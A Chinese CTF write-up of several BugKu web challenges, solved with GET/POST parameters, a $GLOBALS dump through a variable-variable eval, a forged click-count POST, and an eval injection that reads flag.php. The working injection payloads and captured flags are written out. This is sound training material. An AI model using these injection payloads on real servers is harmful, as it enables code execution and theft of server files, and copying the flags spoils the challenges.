欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PHP学习及WEB练习

程序员文章站 2022-05-15 11:51:19
...

BUGKU——php练习

WEB基础$_GET

看到一个链接:

http://120.24.86.145:8002/get/

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

也就是说要GET一个字符串“flag”才能得到flag

根据php的get用法:

在网站后做如下操作:

http://120.24.86.145:8002/get/?what=flag

得到flag:

flag{bugku_get_su8kej2en}

WEB基础$_POST

看到一个链接:

http://120.24.86.145:8002/post/

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

这次是post方法,有许多post方法,你可以抓包,在burpsuite里面post

也可以直接在firefox里面做如下操作:

点击F12(这里需要一个插件hackbar)

进入hackbar

如下图

PHP学习及WEB练习

点击load URL,访问网站

然后选择 post data,在出现的框中输入,what = flag

得到flag:

flag{bugku_get_ssseint67se}

变量1

解题链接:

>http://120.24.86.145:8004/index1.php

打开后发现下面代码:

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");   //调用两次。$($argc)
}
?>

所以可以让它调用超全局变量——GLOBALS

http://120.24.86.145:8004/index1.php?args=GLOBALS

就可以打印所有东西:

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" } 

得到flag

flag{92853051ab894a64f7865cf3c2128b34}

点击百万次

点击链接:

http://120.24.86.145:9001/test/

hints:JavaScript

看看源代码,发现这部分:

  var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
            var form = $('<form action="" method="post">' +
                        '<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
                        '</form>');
                        $('body').append(form);
                        form.submit();
          }
        });
    });

点击一次就会增加一次,所以post相应次数就可以得到flag,

用火狐的hackbar直接post文件

clicks与等号之间不能有空格

PHP学习及WEB练习

flag: flag{Not_C00kI3Cl1ck3r}

本地包含

打开链接:

>http://120.24.86.145:8003/

得到:

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];  #访问表单信息
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

知识点补充:

var_dump— 打印变量的相关信息

例子:

<?php
$a = array(1, 2, array("a", "b", "c"));
var_dump($a);
?>

输出结果:

array(3) {
 [0]=>
 int(1)
 [1]=>
 int(2)
 [2]=>
 array(3) {
   [0]=>
   string(1) "a"
   [1]=>
   string(1) "b"
   [2]=>
   string(1) "c"
 }
}

file() 函数把整个文件读入一个数组中。

例子:

<?php
print_r(file("test.txt"));
?> 

输出:

Array
(
[0] => Hello World. Testing testing!   //其中文段是test.txt的内容
[1] => Another day, another line.
[2] => If the array picks up this line, 
[3] => then is it a pickup line?
)

现在就是要将flag.txt的内容弄出来:

进行构造:

http://120.24.86.145:8003/?hello=1); print_r(2

eval(“var_dump(1);print_f(2);”) // 这是实际代码

接着:

http://120.24.86.145:8003/?hello=1);print_r(file(“flag.php”)

eval(“var_dump(1);print_r(file(“flag.php”));”)

//得到php中的内容
int(1) Array ( [0] => $flag = 'Too Young Too Simple'; [2] => # echo $flag; [3] => # flag{bug-ctf-gg-99} [4] => ?> ) <?php
   include "flag.php";
   $a = @$_REQUEST['hello'];
   eval( "var_dump($a);");
   show_source(__FILE__);
?> 

flag:flag{bug-ctf-gg-99}

相关标签: bugkuctf